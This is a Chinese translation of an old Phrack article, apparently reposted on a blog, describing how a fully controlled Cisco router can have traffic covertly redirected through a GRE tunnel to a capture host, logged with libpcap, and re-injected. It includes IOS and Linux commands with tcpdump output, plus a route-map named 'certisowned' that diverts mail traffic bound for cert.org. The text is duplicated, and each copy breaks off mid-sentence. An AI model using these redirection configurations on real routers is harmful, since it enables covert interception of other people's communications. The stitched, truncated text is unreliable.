本文详细介绍了如何在完全控制CISCO路由器的情况下，利用隧道技术改变路由路径，实现数据的嗅探和透明化操纵。通过创建GRE隧道，将目标数据重定向到特定地点进行捕获，再重新发送，以此实现数据的隐蔽传输。同时，文章还探讨了在CISCO路由器上设置访问控制和避免数据循环的方法，以及在安全性和加密方面提出的一些概念和技巧。
|------------------------------- 翻译 by mix --------------------------------|
|----------------和以前一样，我要申明一下，我不是专业的翻译员-----------------|
|---------所以我也只能够根据我自己的理解，尽量符合原文意思的进行翻译----------|
|------------有能力的朋友最好看原文，我的翻译只能作为一个参考而已-------------|
|------------翻译完后感觉基本上说清楚了这些事情，细节问题就难说了-------------|
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x0a[0x10]
|------------------ 当我们完全控制CISCO路由器时能够做的事情 ------------------|
|-----------------------------------------------------------------------------|
|-------------------------- gauis <gaius@hert.org> ---------------------------|
v0.2 1/1/00
----| 1. 声明
隧道技术（Tunnelx）是HERT（黑客紧急事件应急小组）努力研究开发的一套技术。他不是为了任何一个攻击者或信息防卫战而做的产品工具。严格的说，这只是作理论上的研究和论证罢了。
如果你是一个未被授权者，你没有权利保留该文的任何拷贝或部分信息。如果在文件传输过程中有任何的错误出现，请发电子邮件到hert@hert.org，我们将马上给与回复。
这份文档中所表达的观点并不是HERT必要的（necessarily）观点。所有主管、官员或是职员都没有任何责任或义务来保证这份文档所述技术的准确性。
----| 2. 介绍
当我们一提到路由器，我觉得像是在超市中看见许许多多的商品，然后我就会忍不住想到疯狂的母牛疾病，狂牛病,GMO... 这使我感觉晕眩。继续查看到cisco.com网站上，显示有多少公司正在使用cisco 7500，并且数以千计机器正通过他来引导路由... 在那些路由器上，存放着很多网络的朴络图，这让我们获得了很多深入渗透的机会。在我对安全失去信心后的很长一段时间中，安全的核心问题就是我们总是信任我们首先已经得到确认的信任关系上。（阅读Ken Thomson的文章，《reflections on trusting trust》，我觉得这个意思简单的说就是：如果我首先已经和某主机建立了信任关系，此后的操作中，我将不会再次检查这台主机传过来的任何信息。）
你是否听到别人这样说过很多次：“嗨，我已经完全控制了这台cisco路由器，如果我有IOS src将更爽...我能够装木马或者做这个做那个。”你曾多少次看到人们因为拥有超级权限密码（enable password）可以做任何事情而感到高兴。对IOS src的改进有所帮助的事，一直很少被人们关心的；最少不会出现在正规bugtraq的读者中。
其实，你并不是一定需要IOS src，所有你需要的事情都在这儿，（在src里只有一点点值得高兴的事情，但是我们将在后面讨论）。当你在路由上面设置好一切的时候，你将获得建立在路由器上的嗅探。
----| 3. 揭开改变路由路径的秘密
你要做的就是改变改变路由的通道，将从目标发送的消息通过路由器发送到其他地方，然后在那里捕捉这个消息，最后将这个消息重新发送给路由器，并且保证这个过程就好像没有发生过一样。正常情况下，典型的路由配置将路由信息的过程可以用下图表示：
Internet ------------ Cisco ------------ Target
外网 Ethernet0 Serial0
Cisco路由器 目标机器
然后我们这样操作：
# telnet cisco
Trying 192.168.1.240...
Connected to 192.168.1.240.
Escape character is '^]'.
User Access Verification
Password:
cisco> enable
Password:
cisco# configure term
Enter configuration commands, one per line. End with CNTL/Z.
cisco(config)# int tunnel0
cisco(config-if)# ip address 192.168.0.1 255.255.255.0
cisco(config-if)# tunnel mode ?
aurp AURP TunnelTalk AppleTalk encapsulation
cayman Cayman TunnelTalk AppleTalk encapsulation
dvmrp DVMRP multicast tunnel
eon EON compatible CLNS tunnel
gre generic route encapsulation protocol
ipip IP over IP encapsulation
nos IP over IP encapsulation (KA9Q/NOS compatible)
cisco(config-if)# tunnel mode gre ip
cisco(config-if)# tunnel source ?
A.B.C.D ip address
BRI ISDN Basic Rate Interface
Dialer Dialer interface
Ethernet IEEE 802.3
Lex Lex interface
Loopback Loopback interface
Null Null interface
Tunnel Tunnel interface
cisco(config-if)# tunnel source Ethernet0/0/0
cisco(config-if)# tunnel destination 192.168.1.1
cisco(config-if)# ^Z
cisco# show interfaces Tunnel0
Tunnel0 is up, line protocol is up
Hardware is Tunnel
Internet address is 192.168.0.1/24
MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255
Encapsulation TUNNEL, loopback not set, keepalive set (10 sec)
Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1
Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled
Checksumming of packets disabled, fast tunneling enabled
Last input never, output never, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0 (size/max/drops); Total output drops: 0
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
0 packets input, 0 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
0 packets output, 0 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
cisco#
tcpdump将不会输出任何的结果，除非你在192.168.0.1/24上面尝试着ping其他的IP。你将看到一些用GRE封装的ICMP数据包从192.168.1.1的47端口发过来。
在你的linux窗口中，确定协议（端口）47没有被防火墙阻塞，
test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol
test# modprobe ip_gre
test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local
192.168.1.1
test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0
test# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms
^C
好了，我们新的路由线路已经搭建完成。这样你就能够看到默认的GRE封装的数据传输。这里没有任何的握手连接，因为我们不是在M$的网络中使用GRE2和愚蠢的PPTP封装。
test# tcpdump -i eth1 host 192.168.1.240 and not port 23
tcpdump: listening on eth1
11:04:44.092895 arp who-has cisco tell private-gw
11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef
11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap)
11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap)
这里我们可以看到GRE封装的数据信息是非常详细的，并且cisco路由器的编码器将数据直接送到了linux这里，并没有送到这些数据该去的地方。
让我们到ftp.ee.lbl.gov去看看tcpdump的源代码。tcpdump源代码写得非常的优美；在print-gre.c文件中我们需要稍微的改动一下，用以在隧道技术实施的过程中获得更多的有用信息。
----| 4. 隧道技术 - IOS 线路改变的透明化和数据的捕捉
我初始化设定了一个基于libpcap和libnet的新的CVS tree，一些GRE头文件被tcpdump捕捉，但在短暂的休息后我决定重新整理一下，让整个过程更加简单明了的现实如下：
- 为了避免在我们进行网络欺骗（ETHER_SPOOF）时，不会产生数据风暴，我们在以太网中定义一个空的未使用 的IP地址（原文中称之为REENTRY）。
- 我们初始化设定了一个libpcap和libnet，并建立起数据链路。
- 然后我们写一个程序用来封装数据包头，让这些数据看起来就像是一个匹配GRE协议的IP数据包，并发往隧道 的出口，就像ARP响应数据包一样。
- 我们的ARP剖析器（parser）将分析它是否是来自于REENTRY的响应或者是网络欺骗（ETHER_SPOOF）送出的响 应。
- 我们的GRE剖析器（parser）将调换源数据中的相关信息，比如源IP地址、目的IP地址，并且使用 pcap_dump()记录数据包到磁盘上，然后再使ttl值加1（或更多），最后计算checksum，并使用libnet_write 将数据发送出去。
- OK，就是这样了，不要怀疑如此简单的就能够实现这一切。现在进入一个有趣的阶段，我们不得不重新设置 cisco路由器（定义一个access list用来通过我们所改变的通道的所有数据）。
telnet 192.88.115.98
...
config term
int tunnel0
ip address 192.168.0.1 255.255.255.0
tunnel mode gre ip
tunnel source Ethernet0
tunnel destination TUNNELX_REENTRY_IP
!
access-list 111 permit tcp any host 192.88.209.10 25
!
route-map certisowned
match ip address 111
set ip next-hop 192.168.0.7
!
!
interface Ethernet0
description to cert.org
ip address 192.88.115.98
ip policy route-map certisowned
^Z
如果，你首先将隧道建立好了，现在就可以正常使用了。通我们建立的这个access list，路由链路将不会有任何冲突显现出来。
然而在你修改cisco路由器配置的时候，你要很小心地进行。在你删除access list之前先删除
|----------------和以前一样，我要申明一下，我不是专业的翻译员-----------------|
|---------所以我也只能够根据我自己的理解，尽量符合原文意思的进行翻译----------|
|------------有能力的朋友最好看原文，我的翻译只能作为一个参考而已-------------|
|------------翻译完后感觉基本上说清楚了这些事情，细节问题就难说了-------------|
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x0a[0x10]
|------------------ 当我们完全控制CISCO路由器时能够做的事情 ------------------|
|-----------------------------------------------------------------------------|
|-------------------------- gauis <gaius@hert.org> ---------------------------|
v0.2 1/1/00
----| 1. 声明
隧道技术（Tunnelx）是HERT（黑客紧急事件应急小组）努力研究开发的一套技术。他不是为了任何一个攻击者或信息防卫战而做的产品工具。严格的说，这只是作理论上的研究和论证罢了。
如果你是一个未被授权者，你没有权利保留该文的任何拷贝或部分信息。如果在文件传输过程中有任何的错误出现，请发电子邮件到hert@hert.org，我们将马上给与回复。
这份文档中所表达的观点并不是HERT必要的（necessarily）观点。所有主管、官员或是职员都没有任何责任或义务来保证这份文档所述技术的准确性。
----| 2. 介绍
当我们一提到路由器，我觉得像是在超市中看见许许多多的商品，然后我就会忍不住想到疯狂的母牛疾病，狂牛病,GMO... 这使我感觉晕眩。继续查看到cisco.com网站上，显示有多少公司正在使用cisco 7500，并且数以千计机器正通过他来引导路由... 在那些路由器上，存放着很多网络的朴络图，这让我们获得了很多深入渗透的机会。在我对安全失去信心后的很长一段时间中，安全的核心问题就是我们总是信任我们首先已经得到确认的信任关系上。（阅读Ken Thomson的文章，《reflections on trusting trust》，我觉得这个意思简单的说就是：如果我首先已经和某主机建立了信任关系，此后的操作中，我将不会再次检查这台主机传过来的任何信息。）
你是否听到别人这样说过很多次：“嗨，我已经完全控制了这台cisco路由器，如果我有IOS src将更爽...我能够装木马或者做这个做那个。”你曾多少次看到人们因为拥有超级权限密码（enable password）可以做任何事情而感到高兴。对IOS src的改进有所帮助的事，一直很少被人们关心的；最少不会出现在正规bugtraq的读者中。
其实，你并不是一定需要IOS src，所有你需要的事情都在这儿，（在src里只有一点点值得高兴的事情，但是我们将在后面讨论）。当你在路由上面设置好一切的时候，你将获得建立在路由器上的嗅探。
----| 3. 揭开改变路由路径的秘密
你要做的就是改变改变路由的通道，将从目标发送的消息通过路由器发送到其他地方，然后在那里捕捉这个消息，最后将这个消息重新发送给路由器，并且保证这个过程就好像没有发生过一样。正常情况下，典型的路由配置将路由信息的过程可以用下图表示：
Internet ------------ Cisco ------------ Target
外网 Ethernet0 Serial0
Cisco路由器 目标机器
然后我们这样操作：
# telnet cisco
Trying 192.168.1.240...
Connected to 192.168.1.240.
Escape character is '^]'.
User Access Verification
Password:
cisco> enable
Password:
cisco# configure term
Enter configuration commands, one per line. End with CNTL/Z.
cisco(config)# int tunnel0
cisco(config-if)# ip address 192.168.0.1 255.255.255.0
cisco(config-if)# tunnel mode ?
aurp AURP TunnelTalk AppleTalk encapsulation
cayman Cayman TunnelTalk AppleTalk encapsulation
dvmrp DVMRP multicast tunnel
eon EON compatible CLNS tunnel
gre generic route encapsulation protocol
ipip IP over IP encapsulation
nos IP over IP encapsulation (KA9Q/NOS compatible)
cisco(config-if)# tunnel mode gre ip
cisco(config-if)# tunnel source ?
A.B.C.D ip address
BRI ISDN Basic Rate Interface
Dialer Dialer interface
Ethernet IEEE 802.3
Lex Lex interface
Loopback Loopback interface
Null Null interface
Tunnel Tunnel interface
cisco(config-if)# tunnel source Ethernet0/0/0
cisco(config-if)# tunnel destination 192.168.1.1
cisco(config-if)# ^Z
cisco# show interfaces Tunnel0
Tunnel0 is up, line protocol is up
Hardware is Tunnel
Internet address is 192.168.0.1/24
MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255
Encapsulation TUNNEL, loopback not set, keepalive set (10 sec)
Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1
Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled
Checksumming of packets disabled, fast tunneling enabled
Last input never, output never, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0 (size/max/drops); Total output drops: 0
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
0 packets input, 0 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
0 packets output, 0 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
cisco#
tcpdump将不会输出任何的结果，除非你在192.168.0.1/24上面尝试着ping其他的IP。你将看到一些用GRE封装的ICMP数据包从192.168.1.1的47端口发过来。
在你的linux窗口中，确定协议（端口）47没有被防火墙阻塞，
test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol
test# modprobe ip_gre
test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local
192.168.1.1
test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0
test# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms
^C
好了，我们新的路由线路已经搭建完成。这样你就能够看到默认的GRE封装的数据传输。这里没有任何的握手连接，因为我们不是在M$的网络中使用GRE2和愚蠢的PPTP封装。
test# tcpdump -i eth1 host 192.168.1.240 and not port 23
tcpdump: listening on eth1
11:04:44.092895 arp who-has cisco tell private-gw
11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef
11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap)
11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap)
这里我们可以看到GRE封装的数据信息是非常详细的，并且cisco路由器的编码器将数据直接送到了linux这里，并没有送到这些数据该去的地方。
让我们到ftp.ee.lbl.gov去看看tcpdump的源代码。tcpdump源代码写得非常的优美；在print-gre.c文件中我们需要稍微的改动一下，用以在隧道技术实施的过程中获得更多的有用信息。
----| 4. 隧道技术 - IOS 线路改变的透明化和数据的捕捉
我初始化设定了一个基于libpcap和libnet的新的CVS tree，一些GRE头文件被tcpdump捕捉，但在短暂的休息后我决定重新整理一下，让整个过程更加简单明了的现实如下：
- 为了避免在我们进行网络欺骗（ETHER_SPOOF）时，不会产生数据风暴，我们在以太网中定义一个空的未使用 的IP地址（原文中称之为REENTRY）。
- 我们初始化设定了一个libpcap和libnet，并建立起数据链路。
- 然后我们写一个程序用来封装数据包头，让这些数据看起来就像是一个匹配GRE协议的IP数据包，并发往隧道 的出口，就像ARP响应数据包一样。
- 我们的ARP剖析器（parser）将分析它是否是来自于REENTRY的响应或者是网络欺骗（ETHER_SPOOF）送出的响 应。
- 我们的GRE剖析器（parser）将调换源数据中的相关信息，比如源IP地址、目的IP地址，并且使用 pcap_dump()记录数据包到磁盘上，然后再使ttl值加1（或更多），最后计算checksum，并使用libnet_write 将数据发送出去。
- OK，就是这样了，不要怀疑如此简单的就能够实现这一切。现在进入一个有趣的阶段，我们不得不重新设置 cisco路由器（定义一个access list用来通过我们所改变的通道的所有数据）。
telnet 192.88.115.98
...
config term
int tunnel0
ip address 192.168.0.1 255.255.255.0
tunnel mode gre ip
tunnel source Ethernet0
tunnel destination TUNNELX_REENTRY_IP
!
access-list 111 permit tcp any host 192.88.209.10 25
!
route-map certisowned
match ip address 111
set ip next-hop 192.168.0.7
!
!
interface Ethernet0
description to cert.org
ip address 192.88.115.98
ip policy route-map certisowned
^Z
如果，你首先将隧道建立好了，现在就可以正常使用了。通我们建立的这个access list，路由链路将不会有任何冲突显现出来。
然而在你修改cisco路由器配置的时候，你要很小心地进行。在你删除access list之前先删除
最低0.47元/天 解锁文章
扫一扫
2745
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
